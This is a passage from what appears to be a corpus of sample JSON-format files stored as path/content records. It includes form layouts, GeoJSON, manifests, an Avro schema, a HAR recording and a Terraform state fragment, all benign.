17,\n\t\t\t\t\t\"textAlign\": \"right\",\n\t\t\t\t\t\"text\": \"Field_2 : \"\n\t\t\t\t},\n\t\t\t\t\"テキスト3\": {\n\t\t\t\t\t\"type\": \"text\",\n\t\t\t\t\t\"top\": 380,\n\t\t\t\t\t\"left\": 30,\n\t\t\t\t\t\"width\": 59,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"textAlign\": \"right\",\n\t\t\t\t\t\"text\": \"Field_3 : \"\n\t\t\t\t},\n\t\t\t\t\"ID1\": {\n\t\t\t\t\t\"type\": \"input\",\n\t\t\t\t\t\"top\": 326,\n\t\t\t\t\t\"left\": 94,\n\t\t\t\t\t\"width\": 64,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"dataSource\": \"[Table_2:2]ID:1\",\n\t\t\t\t\t\"dataSourceTypeHint\": \"integer\",\n\t\t\t\t\t\"textAlign\": \"left\",\n\t\t\t\t\t\"focusable\": false,\n\t\t\t\t\t\"fill\": \"transparent\",\n\t\t\t\t\t\"borderStyle\": \"sunken\",\n\t\t\t\t\t\"enterable\": false,\n\t\t\t\t\t\"contextMenu\": \"none\",\n\t\t\t\t\t\"dragging\": \"none\",\n\t\t\t\t\t\"dropping\": \"none\",\n\t\t\t\t\t\"events\": [\n\t\t\t\t\t\t\"onLoad\",\n\t\t\t\t\t\t\"onValidate\",\n\t\t\t\t\t\t\"onClick\",\n\t\t\t\t\t\t\"onHeader\",\n\t\t\t\t\t\t\"onPrintingBreak\",\n\t\t\t\t\t\t\"onPrintingFooter\",\n\t\t\t\t\t\t\"onDisplayDetail\",\n\t\t\t\t\t\t\"onDataChange\",\n\t\t\t\t\t\t\"onPrintingDetail\"\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t\"Field_1\": {\n\t\t\t\t\t\"type\": \"input\",\n\t\t\t\t\t\"top\": 353,\n\t\t\t\t\t\"left\": 94,\n\t\t\t\t\t\"width\": 305,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"dataSource\": \"[Table_2:2]Field_2:2\",\n\t\t\t\t\t\"textAlign\": \"left\",\n\t\t\t\t\t\"fill\": \"#FFFFFF\",\n\t\t\t\t\t\"borderStyle\": \"sunken\",\n\t\t\t\t\t\"dragging\": \"none\",\n\t\t\t\t\t\"dropping\": \"none\",\n\t\t\t\t\t\"events\": [\n\t\t\t\t\t\t\"onLoad\",\n\t\t\t\t\t\t\"onValidate\",\n\t\t\t\t\t\t\"onClick\",\n\t\t\t\t\t\t\"onHeader\",\n\t\t\t\t\t\t\"onPrintingBreak\",\n\t\t\t\t\t\t\"onPrintingFooter\",\n\t\t\t\t\t\t\"onDisplayDetail\",\n\t\t\t\t\t\t\"onDataChange\",\n\t\t\t\t\t\t\"onPrintingDetail\"\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t\"Field_4\": {\n\t\t\t\t\t\"type\": \"input\",\n\t\t\t\t\t\"top\": 380,\n\t\t\t\t\t\"left\": 94,\n\t\t\t\t\t\"width\": 305,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"dataSource\": \"[Table_2:2]Field_3:3\",\n\t\t\t\t\t\"textAlign\": \"left\",\n\t\t\t\t\t\"fill\": \"#FFFFFF\",\n\t\t\t\t\t\"borderStyle\": \"sunken\",\n\t\t\t\t\t\"dragging\": \"none\",\n\t\t\t\t\t\"dropping\": \"none\",\n\t\t\t\t\t\"events\": [\n\t\t\t\t\t\t\"onLoad\",\n\t\t\t\t\t\t\"onValidate\",\n\t\t\t\t\t\t\"onClick\",\n\t\t\t\t\t\t\"onHeader\",\n\t\t\t\t\t\t\"onPrintingBreak\",\n\t\t\t\t\t\t\"onPrintingFooter\",\n\t\t\t\t\t\t\"onDisplayDetail\",\n\t\t\t\t\t\t\"onDataChange\",\n\t\t\t\t\t\t\"onPrintingDetail\"\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t\"テキスト4\": {\n\t\t\t\t\t\"type\": \"text\",\n\t\t\t\t\t\"top\": 273,\n\t\t\t\t\t\"left\": 24,\n\t\t\t\t\t\"width\": 515,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"sizingX\": \"grow\",\n\t\t\t\t\t\"stroke\": \"#000000\",\n\t\t\t\t\t\"text\": \"Table_2\"\n\t\t\t\t},\n\t\t\t\t\"Variable2\": {\n\t\t\t\t\t\"type\": \"input\",\n\t\t\t\t\t\"top\": 274,\n\t\t\t\t\t\"left\": 418,\n\t\t\t\t\t\"width\": 211,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"dataSource\": \"Read only state:C362([Table_2:2])\",\n\t\t\t\t\t\"dataSourceTypeHint\": \"undefined\",\n\t\t\t\t\t\"focusable\": false,\n\t\t\t\t\t\"fill\": \"transparent\",\n\t\t\t\t\t\"borderStyle\": \"none\",\n\t\t\t\t\t\"enterable\": false,\n\t\t\t\t\t\"contextMenu\": \"none\",\n\t\t\t\t\t\"dragging\": \"none\",\n\t\t\t\t\t\"dropping\": \"none\"\n\t\t\t\t},\n\t\t\t\t\"Text2\": {\n\t\t\t\t\t\"type\": \"text\",\n\t\t\t\t\t\"top\": 274,\n\t\t\t\t\t\"left\": 122,\n\t\t\t\t\t\"width\": 276,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"text\": \"Read only state([Table_2])\"\n\t\t\t\t},\n\t\t\t\t\"Variable3\": {\n\t\t\t\t\t\"type\": \"input\",\n\t\t\t\t\t\"top\": 294,\n\t\t\t\t\t\"left\": 418,\n\t\t\t\t\t\"width\": 211,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"dataSource\": \"Locked:C147([Table_2:2])\",\n\t\t\t\t\t\"dataSourceTypeHint\": \"undefined\",\n\t\t\t\t\t\"focusable\": false,\n\t\t\t\t\t\"fill\": \"transparent\",\n\t\t\t\t\t\"borderStyle\": \"none\",\n\t\t\t\t\t\"enterable\": false,\n\t\t\t\t\t\"contextMenu\": \"none\",\n\t\t\t\t\t\"dragging\": \"none\",\n\t\t\t\t\t\"dropping\": \"none\"\n\t\t\t\t},\n\t\t\t\t\"Text3\": {\n\t\t\t\t\t\"type\": \"text\",\n\t\t\t\t\t\"top\": 294,\n\t\t\t\t\t\"left\": 122,\n\t\t\t\t\t\"width\": 276,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"text\": \"Locked([Table_2])\"\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t],\n\t\"editor\": {\n\t\t\"activeView\": \"View 1\",\n\t\t\"defaultView\": \"View 1\",\n\t\t\"views\": {\n\t\t\t\"View 1\": {},\n\t\t\t\"View 2\": {\n\t\t\t\t\"objects\": [\n\t\t\t\t\t\"テキスト6\",\n\t\t\t\t\t\"線7\"\n\t\t\t\t]\n\t\t\t},\n\t\t\t\"View 3\": {\n\t\t\t\t\"objects\": [\n\t\t\t\t\t\"bFirst\",\n\t\t\t\t\t\"bPrevious\",\n\t\t\t\t\t\"bNext\",\n\t\t\t\t\t\"bLast\",\n\t\t\t\t\t\"bDelete\",\n\t\t\t\t\t\"bCancel\",\n\t\t\t\t\t\"bValidate\"\n\t\t\t\t]\n\t\t\t},\n\t\t\t\"View 4\": {},\n\t\t\t\"View 5\": {},\n\t\t\t\"View 6\": {},\n\t\t\t\"View 7\": {},\n\t\t\t\"View 8\": {},\n\t\t\t\"View 9\": {}\n\t\t}\n\t}\n}"
  },
  {
    "path": "samples/JSON/geo.geojson",
    "content": "{\n\t\"type\": \"FeatureCollection\",\n\t\"features\": [\n\t\t{\n\t\t\t\"type\": \"Feature\",\n\t\t\t\"properties\": {\n\t\t\t\t\"name\": \"Australia Post - North Ryde BC\",\n\t\t\t\t\"geo\": [-33.787792, 151.13288],\n\t\t\t\t\"streetAddress\": \"11 Waterloo Road\",\n\t\t\t\t\"addressLocality\": \"Macquarie Park\",\n\t\t\t\t\"addressRegion\": \"New South Wales\",\n\t\t\t\t\"addressCountry\": \"Australia\",\n\t\t\t\t\"postalCode\": \"2113\"\n\t\t\t},\n\t\t\t\"geometry\": {\n\t\t\t\t\"type\": \"Point\",\n\t\t\t\t\"coordinates\": [151.13288, -33.787792, 0]\n\t\t\t}\n\t\t},\n\n\n\t\t{\n\t\t\t\"type\": \"Feature\",\n\t\t\t\"properties\": {\n\t\t\t\t\"name\": \"George Weston Foods Limited\",\n\t\t\t\t\"geo\": [-37.8263884, 144.9105381],\n\t\t\t\t\"streetAddress\": \"Level 3, 187 Todd Road\",\n\t\t\t\t\"addressLocality\": \"Port Melbourne\",\n\t\t\t\t\"addressRegion\": \"Victoria\",\n\t\t\t\t\"addressCountry\": \"Australia\",\n\t\t\t\t\"postalCode\": \"3207\"\n\t\t\t},\n\t\t\t\"geometry\": {\n\t\t\t\t\"type\": \"Polygon\",\n\t\t\t\t\"coordinates\": [\n\t\t\t\t\t[\n\t\t\t\t\t\t[144.9097088901841, -37.82622654171794, 0],\n\t\t\t\t\t\t[144.9099724266943, -37.82679388891783, 0],\n\t\t\t\t\t\t[144.9110127325916, -37.82651526396403, 0],\n\t\t\t\t\t\t[144.9112227645738, -37.82655667152123, 0],\n\t\t\t\t\t\t[144.9113739439796, -37.82618552508767, 0],\n\t\t\t\t\t\t[144.9112740633105, -37.82615750100924, 0],\n\t\t\t\t\t\t[144.9111355846674, -37.82584493693527, 0],\n\t\t\t\t\t\t[144.9097088901841, -37.82622654171794, 0]\n\t\t\t\t\t]\n\t\t\t\t]\n\t\t\t}\n\t\t},\n\n\n\t\t{\n\t\t\t\"type\": \"Feature\",\n\t\t\t\"properties\": {\n\t\t\t\t\"name\": \"George Weston Foods Limited\",\n\t\t\t\t\"geo\": [-37.05202791502396, 144.2085614999388],\n\t\t\t\t\"streetAddress\": \"67 Richards Road\",\n\t\t\t\t\"addressLocality\": \"Castlemaine\",\n\t\t\t\t\"addressRegion\": \"Victoria\",\n\t\t\t\t\"addressCountry\": \"Australia\",\n\t\t\t\t\"postalCode\": \"3450\"\n\t\t\t},\n\t\t\t\"geometry\": {\n\t\t\t\t\"type\": \"Polygon\",\n\t\t\t\t\"coordinates\": [\n\t\t\t\t\t[\n\t\t\t\t\t\t[144.2052428913937, -37.04906391287216, 0],\n\t\t\t\t\t\t[144.205540392692,  -37.05049727485623, 0],\n\t\t\t\t\t\t[144.2059800881858, -37.05066835966983, 0],\n\t\t\t\t\t\t[144.206490656024,  -37.05279538900776, 0],\n\t\t\t\t\t\t[144.2064525845008, -37.05366195881602, 0],\n\t\t\t\t\t\t[144.2084322301922, -37.0538920493147,  0],\n\t\t\t\t\t\t[144.2084811895712, -37.05266519735124, 0],\n\t\t\t\t\t\t[144.2079784002005, -37.05041270555773, 0],\n\t\t\t\t\t\t[144.2074017905817, -37.04817406993293, 0],\n\t\t\t\t\t\t[144.2061363939852, -37.04834972871226, 0],\n\t\t\t\t\t\t[144.2052428913937, -37.04906391287216, 0]\n\t\t\t\t\t]\n\t\t\t\t]\n\t\t\t}\n\t\t}\n\t]\n}\n"
  },
  {
    "path": "samples/JSON/google-services.json.example",
    "content": "{\n  \"project_info\": {\n    \"project_id\": \"blueskyweb-example\",\n    \"project_number\": \"100000000000\",\n    \"firebase_url\": \"https://blueskyweb-example.firebaseio.com\"\n  },\n  \"client\": [\n    {\n      \"client_info\": {\n        \"mobilesdk_app_id\": \"1:123456789000:android:f1bf012572b04063\",\n        \"android_client_info\": {\n          \"package_name\": \"xyz.blueskyweb.app\"\n        }\n      },\n      \"oauth_client\": [\n        {\n          \"client_id\": \"123456789000.apps.googleusercontent.com\",\n          \"client_type\": 3\n        }\n      ],\n      \"api_key\": [\n        {\n          \"current_key\": \"123456789000\"\n        }\n      ],\n      \"services\": {\n        \"analytics_service\": {\n          \"status\": 1\n        },\n        \"appinvite_service\": {\n          \"status\": 1,\n          \"other_platform_oauth_client\": []\n        },\n        \"ads_service\": {\n          \"status\": 2\n        }\n      }\n    }\n  ],\n  \"configuration_version\": \"1\"\n}\n"
  },
  {
    "path": "samples/JSON/http_response.avsc",
    "content": "{\n    \"type\": \"record\",\n    \"name\": \"Response\",\n    \"namespace\": \"org.rflow.message.data.http\",\n    \"aliases\": [],\n    \"fields\": [\n        {\"name\": \"client_ip\",    \"type\": [\"string\", \"null\"]},\n        {\"name\": \"client_port\",  \"type\": [\"int\", \"null\"]},\n        {\"name\": \"server_ip\",    \"type\": [\"string\", \"null\"]},\n        {\"name\": \"server_port\",  \"type\": [\"int\", \"null\"]},\n\n        {\"name\": \"protocol\",             \"type\": \"string\"},\n        {\"name\": \"status_code\",          \"type\": \"int\"},\n        {\"name\": \"status_reason_phrase\", \"type\": \"string\"},\n        {\"name\": \"headers\",              \"type\": {\"type\": \"map\", \"values\": \"string\"}},\n        {\"name\": \"content\",              \"type\": \"bytes\"}\n    ]\n}\n"
  },
  {
    "path": "samples/JSON/landing.tact",
    "content": "{\"project\":{\"createdAt\":1629543532823,\"description\":\"\",\"layout\":{\"layouts\":{\"VestBack\":[{\"index\":0,\"x\":0,\"y\":0},{\"index\":1,\"x\":0.333,\"y\":0},{\"index\":2,\"x\":0.667,\"y\":0},{\"index\":3,\"x\":1,\"y\":0},{\"index\":4,\"x\":0,\"y\":0.25},{\"index\":5,\"x\":0.333,\"y\":0.25},{\"index\":6,\"x\":0.667,\"y\":0.25},{\"index\":7,\"x\":1,\"y\":0.25},{\"index\":8,\"x\":0,\"y\":0.5},{\"index\":9,\"x\":0.333,\"y\":0.5},{\"index\":10,\"x\":0.667,\"y\":0.5},{\"index\":11,\"x\":1,\"y\":0.5},{\"index\":12,\"x\":0,\"y\":0.75},{\"index\":13,\"x\":0.333,\"y\":0.75},{\"index\":14,\"x\":0.667,\"y\":0.75},{\"index\":15,\"x\":1,\"y\":0.75},{\"index\":16,\"x\":0,\"y\":1},{\"index\":17,\"x\":0.333,\"y\":1},{\"index\":18,\"x\":0.667,\"y\":1},{\"index\":19,\"x\":1,\"y\":1}],\"VestFront\":[{\"index\":0,\"x\":0,\"y\":0},{\"index\":1,\"x\":0.333,\"y\":0},{\"index\":2,\"x\":0.667,\"y\":0},{\"index\":3,\"x\":1,\"y\":0},{\"index\":4,\"x\":0,\"y\":0.25},{\"index\":5,\"x\":0.333,\"y\":0.25},{\"index\":6,\"x\":0.667,\"y\":0.25},{\"index\":7,\"x\":1,\"y\":0.25},{\"index\":8,\"x\":0,\"y\":0.5},{\"index\":9,\"x\":0.333,\"y\":0.5},{\"index\":10,\"x\":0.667,\"y\":0.5},{\"index\":11,\"x\":1,\"y\":0.5},{\"index\":12,\"x\":0,\"y\":0.75},{\"index\":13,\"x\":0.333,\"y\":0.75},{\"index\":14,\"x\":0.667,\"y\":0.75},{\"index\":15,\"x\":1,\"y\":0.75},{\"index\":16,\"x\":0,\"y\":1},{\"index\":17,\"x\":0.333,\"y\":1},{\"index\":18,\"x\":0.667,\"y\":1},{\"index\":19,\"x\":1,\"y\":1}]},\"name\":\"Tactot\",\"type\":\"Tactot\"},\"mediaFileDuration\":3,\"name\":\"landing\",\"tracks\":[{\"effects\":[{\"modes\":{\"VestBack\":{\"dotMode\":{\"dotConnected\":false,\"feedback\":[{\"endTime\":300,\"playbackType\":\"NONE\",\"startTime\":0,\"pointList\":[]}]},\"mode\":\"PATH_MODE\",\"pathMode\":{\"feedback\":[{\"movingPattern\":\"CONST_SPEED\",\"playbackType\":\"FADE_OUT\",\"pointList\":[{\"intensity\":0.7,\"time\":0,\"x\":0,\"y\":1},{\"intensity\":0.7,\"time\":300,\"x\":0,\"y\":0}],\"visible\":true},{\"movingPattern\":\"CONST_SPEED\",\"playbackType\":\"FADE_OUT\",\"pointList\":[{\"intensity\":0.7,\"time\":0,\"x\":0.33,\"y\":1},{\"intensity\":0.7,\"time\":300,\"x\":0.34,\"y\":0}],\"visible\":true},{\"movingPattern\":\"CONST_SPEED\",\"playbackType\":\"FADE_OUT\",\"pointList\":[{\"intensity\":0.7,\"time\":0,\"x\":0.67,\"y\":1},{\"intensity\":0.7,\"time\":300,\"x\":0.67,\"y\":0}],\"visible\":true},{\"movingPattern\":\"CONST_SPEED\",\"playbackType\":\"FADE_OUT\",\"pointList\":[{\"intensity\":0.7,\"time\":0,\"x\":1,\"y\":1},{\"intensity\":0.7,\"time\":300,\"x\":1,\"y\":0}],\"visible\":true},{\"movingPattern\":\"CONST_SPEED\",\"playbackType\":\"NONE\",\"pointList\":[{\"intensity\":0.7,\"time\":0,\"x\":0,\"y\":1},{\"intensity\":0.7,\"time\":73,\"x\":0.33,\"y\":0.76},{\"intensity\":0.7,\"time\":150,\"x\":0,\"y\":0.48},{\"intensity\":0.7,\"time\":223,\"x\":0.34,\"y\":0.25},{\"intensity\":0.7,\"time\":300,\"x\":0,\"y\":0}],\"visible\":true},{\"movingPattern\":\"CONST_SPEED\",\"playbackType\":\"NONE\",\"pointList\":[{\"intensity\":0.7,\"time\":0,\"x\":1,\"y\":1},{\"intensity\":0.7,\"time\":74,\"x\":0.67,\"y\":0.75},{\"intensity\":0.7,\"time\":148,\"x\":1,\"y\":0.5},{\"intensity\":0.7,\"time\":223,\"x\":0.66,\"y\":0.25},{\"intensity\":0.7,\"time\":300,\"x\":1,\"y\":0}],\"visible\":true}]}},\"VestFront\":{\"dotMode\":{\"dotConnected\":false,\"feedback\":[{\"endTime\":300,\"playbackType\":\"NONE\",\"startTime\":0,\"pointList\":[]}]},\"mode\":\"PATH_MODE\",\"pathMode\":{\"feedback\":[{\"movingPattern\":\"CONST_SPEED\",\"playbackType\":\"FADE_OUT\",\"pointList\":[{\"intensity\":0.7,\"time\":0,\"x\":0,\"y\":1},{\"intensity\":0.7,\"time\":300,\"x\":0,\"y\":0}],\"visible\":true},{\"movingPattern\":\"CONST_SPEED\",\"playbackType\":\"FADE_OUT\",\"pointList\":[{\"intensity\":0.7,\"time\":0,\"x\":0.33,\"y\":1},{\"intensity\":0.7,\"time\":300,\"x\":0.34,\"y\":0}],\"visible\":true},{\"movingPattern\":\"CONST_SPEED\",\"playbackType\":\"FADE_OUT\",\"pointList\":[{\"intensity\":0.7,\"time\":0,\"x\":0.67,\"y\":1},{\"intensity\":0.7,\"time\":300,\"x\":0.67,\"y\":0}],\"visible\":true},{\"movingPattern\":\"CONST_SPEED\",\"playbackType\":\"FADE_OUT\",\"pointList\":[{\"intensity\":0.7,\"time\":0,\"x\":1,\"y\":1},{\"intensity\":0.7,\"time\":300,\"x\":1,\"y\":0}],\"visible\":true},{\"movingPattern\":\"CONST_SPEED\",\"playbackType\":\"NONE\",\"pointList\":[{\"intensity\":0.7,\"time\":0,\"x\":0,\"y\":1},{\"intensity\":0.7,\"time\":73,\"x\":0.33,\"y\":0.76},{\"intensity\":0.7,\"time\":150,\"x\":0,\"y\":0.48},{\"intensity\":0.7,\"time\":223,\"x\":0.34,\"y\":0.25},{\"intensity\":0.7,\"time\":300,\"x\":0,\"y\":0}],\"visible\":true},{\"movingPattern\":\"CONST_SPEED\",\"playbackType\":\"NONE\",\"pointList\":[{\"intensity\":0.7,\"time\":0,\"x\":1,\"y\":1},{\"intensity\":0.7,\"time\":74,\"x\":0.67,\"y\":0.75},{\"intensity\":0.7,\"time\":148,\"x\":1,\"y\":0.5},{\"intensity\":0.7,\"time\":223,\"x\":0.66,\"y\":0.25},{\"intensity\":0.7,\"time\":300,\"x\":1,\"y\":0}],\"visible\":true}]}}},\"name\":\"Effect 1\",\"offsetTime\":300,\"startTime\":550}],\"enable\":true},{\"enable\":true,\"effects\":[]}],\"updatedAt\":1630238182973},\"durationMillis\":0,\"intervalMillis\":20,\"size\":20}\n"
  },
  {
    "path": "samples/JSON/manifest.webapp",
    "content": "{\n\t\"version\": \"1.0\",\n\t\"name\": \"demo\",\n\t\"description\": \"demo\",\n\t\"launch_path\": \"/index.html\",\n\t\"icons\": {\n\t\t\"128\": \"/res/icon.png\"\n\t},\n\t\"developer\": {\n\t\t\"name\": \"Cocos2d-html5\",\n\t\t\"url\": \"http://cocos2d-x.org/\"\n\t},\n\t\"default_locale\": \"en\",\n\t\"installs_allowed_from\": [\n\t\t\"*\"\n\t],\n\t\"orientation\": \"portrait-primary\",\n\t\"fullscreen\": \"true\"\n}\n"
  },
  {
    "path": "samples/JSON/manifest.webmanifest",
    "content": "{\n\t\"short_name\": \"CC Splitter\",\n\t\"name\": \"Credit Card Splitter\",\n\t\"start_url\": \"./index.html\",\n\t\"display\": \"standalone\",\n\t\"theme_color\": \"#000000\",\n\t\"background_color\": \"#ffffff\",\n\t\"lang\": \"en-GB\",\n\t\"icons\": [\n\t\t{\n\t\t\t\"src\": \"logo-16.png\",\n\t\t\t\"sizes\": \"16x16\",\n\t\t\t\"type\": \"image/png\"\n\t\t},\n\t\t{\n\t\t\t\"src\": \"logo-36.png\",\n\t\t\t\"sizes\": \"36x36\",\n\t\t\t\"type\": \"image/png\"\n\t\t},\n\t\t{\n\t\t\t\"src\": \"logo-48.png\",\n\t\t\t\"sizes\": \"48x48\",\n\t\t\t\"type\": \"image/png\"\n\t\t},\n\t\t{\n\t\t\t\"src\": \"logo-72.png\",\n\t\t\t\"sizes\": \"72x72\",\n\t\t\t\"type\": \"image/png\"\n\t\t},\n\t\t{\n\t\t\t\"src\": \"logo-96.png\",\n\t\t\t\"sizes\": \"96x96\",\n\t\t\t\"type\": \"image/png\"\n\t\t},\n\t\t{\n\t\t\t\"src\": \"logo-144.png\",\n\t\t\t\"sizes\": \"144x144\",\n\t\t\t\"type\": \"image/png\"\n\t\t},\n\t\t{\n\t\t\t\"src\": \"logo-192.png\",\n\t\t\t\"sizes\": \"192x192\",\n\t\t\t\"type\": \"image/png\"\n\t\t},\n\t\t{\n\t\t\t\"src\": \"logo-250.png\",\n\t\t\t\"sizes\": \"250x250\",\n\t\t\t\"type\": \"image/png\"\n\t\t},\n\t\t{\n\t\t\t\"src\": \"logo-512.png\",\n\t\t\t\"sizes\": \"512x512\",\n\t\t\t\"type\": \"image/png\"\n\t\t}\n\t]\n}\n"
  },
  {
    "path": "samples/JSON/pack.mcmeta",
    "content": "{\r\n    \"pack\": {\r\n        \"pack_format\": 4,\r\n        \"description\": \"§e更好的钓鱼§r(§kSPGoding§r)\"\r\n    }\r\n}"
  },
  {
    "path": "samples/JSON/person.json",
    "content": "{\n     \"firstName\": \"John\",\n     \"lastName\" : \"Smith\",\n     \"age\"      : 25,\n     \"address\"  :\n     {\n         \"streetAddress\": \"21 2nd Street\",\n         \"city\"         : \"New York\",\n         \"state\"        : \"NY\",\n         \"postalCode\"   : \"10021\"\n     },\n     \"phoneNumber\":\n     [\n         {\n           \"type\"  : \"home\",\n           \"number\": \"212 555-1234\"\n         },\n         {\n           \"type\"  : \"fax\",\n           \"number\": \"646 555-4567\"\n         }\n     ]\n }"
  },
  {
    "path": "samples/JSON/product.json",
    "content": "{\n        \"id\": 1,\n        \"name\": \"Foo\",\n        \"price\": 123,\n        \"tags\": [\"Bar\",\"Eek\"],\n        \"stock\": { \"warehouse\":300, \"retail\":20 }\n}"
  },
  {
    "path": "samples/JSON/recording.har",
    "content": "{\n  \"log\": {\n    \"_recordingName\": \"@pollyjs/adapter-xhr/Integration | XHR Adapter/should be able to abort from an intercept\",\n    \"browser\": {\n      \"name\": \"Chrome\",\n      \"version\": \"67.0\"\n    },\n    \"creator\": {\n      \"comment\": \"persister:rest\",\n      \"name\": \"Polly.JS\",\n      \"version\": \"0.5.0\"\n    },\n    \"entries\": [\n      {\n        \"_id\": \"a59c75974571204bf8035e70d5ce252a\",\n        \"_order\": 0,\n        \"cache\": {},\n        \"request\": {\n          \"bodySize\": 0,\n          \"cookies\": [],\n          \"headers\": [],\n          \"headersSize\": 182,\n          \"httpVersion\": \"HTTP/1.1\",\n          \"method\": \"GET\",\n          \"queryString\": [],\n          \"url\": \"http://localhost:7357/api/db/-pollyjs_2160168770%2Fadapter-xhr_1803529635%2FIntegration-XHR-Adapter_4095563232%2Fshould-be-able-to-abort-from-an-intercept_68559697\"\n        },\n        \"response\": {\n          \"bodySize\": 0,\n          \"content\": {\n            \"mimeType\": \"text/plain\",\n            \"size\": 0\n          },\n          \"cookies\": [],\n          \"headers\": [\n            {\n              \"name\": \"access-control-allow-origin\",\n              \"value\": \"*\"\n            },\n            {\n              \"name\": \"date\",\n              \"value\": \"Mon, 16 Jul 2018 22\"\n            },\n            {\n              \"name\": \"connection\",\n              \"value\": \"close\"\n            },\n            {\n              \"name\": \"x-powered-by\",\n              \"value\": \"Express\"\n            },\n            {\n              \"name\": \"content-length\",\n              \"value\": \"0\"\n            }\n          ],\n          \"headersSize\": 122,\n          \"httpVersion\": \"HTTP/1.1\",\n          \"redirectURL\": \"\",\n          \"status\": 404,\n          \"statusText\": \"Not Found\"\n        },\n        \"startedDateTime\": \"2018-07-16T22:55:22.554Z\",\n        \"time\": 33,\n        \"timings\": {\n          \"blocked\": -1,\n          \"connect\": -1,\n          \"dns\": -1,\n          \"receive\": 0,\n          \"send\": 0,\n          \"ssl\": -1,\n          \"wait\": 33\n        }\n      }\n    ],\n    \"pages\": [],\n    \"version\": \"1.2\"\n  }\n}\n"
  },
  {
    "path": "samples/JSON/schema.json",
    "content": "{\n        \"name\":\"Product\",\n        \"properties\":\n        {\n                \"id\":\n                {\n                        \"type\":\"number\",\n                        \"description\":\"Product identifier\",\n                        \"required\":true\n                },\n                \"name\":\n                {\n                        \"type\":\"string\",\n                        \"description\":\"Name of the product\",\n                        \"required\":true\n                },\n                \"price\":\n                {\n                        \"type\":\"number\",\n                        \"minimum\":0,\n                        \"required\":true\n                },\n                \"tags\":\n                {\n                        \"type\":\"array\",\n                        \"items\":\n                        {\n                                \"type\":\"string\"\n                        }\n                },\n                \"stock\":\n                {\n                        \"type\":\"object\",\n                        \"properties\":\n                        {\n                                \"warehouse\":\n                                {\n                                        \"type\":\"number\"\n                                },\n                                \"retail\":\n                                {\n                                        \"type\":\"number\"\n                                }\n                        }\n                }\n        }\n}"
  },
  {
    "path": "samples/JSON/small.tfstate",
    "content": "{\n\t\t\"version\": 1,\n\t\t\"serial\": 12,\n\t\t\"modules\": [\n\t\t\t\t{\n\t\t\t\t\t\t\"path\": [\n\t\t\t\t\t\t\t\t\"root\"\n\t\t\t\t\t\t],\n\t\t\t\t\t\t\"outputs\": {\n\t\t\t\t\t\t\t\t\"public_az1_subnet_id\": \"subnet-d658bba0\",\n\t\t\t\t\t\t\t\t\"region\": \"us-west-2\",\n\t\t\t\t\t\t\t\t\"vpc_cidr\": \"10.201.0.0/16\",\n\t\t\t\t\t\t\t\t\"vpc_id\": \"vpc-65814701\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"resources\": {\n\t\t\t\t\t\t\t\t\"aws_key_pair.onprem\": {\n\t\t\t\t\t\t\t\t\t\t\"type\": \"aws_key_pair\",\n\t\t\t\t\t\t\t\t\t\t\"primary\": {\n\t\t\t\t\t\t\t\t\t\t\t\t\"id\": \"onprem\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"attributes\": {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"id\": \"onprem\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"key_name\": \"onprem\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"public_key\": \"foo\"\n\t\t\t\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\t\t\t\t\"meta\": {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"schema_version\": \"1\"\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\t\"path\": [\n\t\t\t\t\t\t\t\t\"root\",\n\t\t\t\t\t\t\t\t\"bootstrap\"\n\t\t\t\t\t\t],\n\t\t\t\t\t\t\"outputs\": {\n\t\t\t\t\t\t\t\t\"consul_bootstrap_dns\": \"consul.bootstrap\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"resources\": {\n\t\t\t\t\t\t\t\t\"aws_route53_record.oasis-consul-bootstrap-a\": {\n\t\t\t\t\t\t\t\t\t\t\"type\": \"aws_route53_record\",\n\t\t\t\t\t\t\t\t\t\t\"depends_on\": [\n\t\t\t\t\t\t\t\t\t\t\t\t\"aws_route53_zone.oasis-consul-bootstrap\"\n\t\t\t\t\t\t\t\t\t\t],\n\t\t\t\t\t\t\t\t\t\t\"primary\": {\n\t\t\t\t\t\t\t\t\t\t\t\t\"id\": \"Z68734P5178QN_consul.bootstrap_A\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"attributes\": {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"failover\": \"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"fqdn\": \"consul.bootstrap\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"health_check_id\": \"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"id\": \"Z68734P5178QN_consul.bootstrap_A\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"name\": \"consul.bootstrap\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"records.#\": \"6\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"records.1148461392\": \"10.201.3.8\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"records.1169574759\": \"10.201.2.8\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"records.1206973758\": \"10.201.1.8\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"records.1275070284\": \"10.201.2.4\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"records.1304587643\": 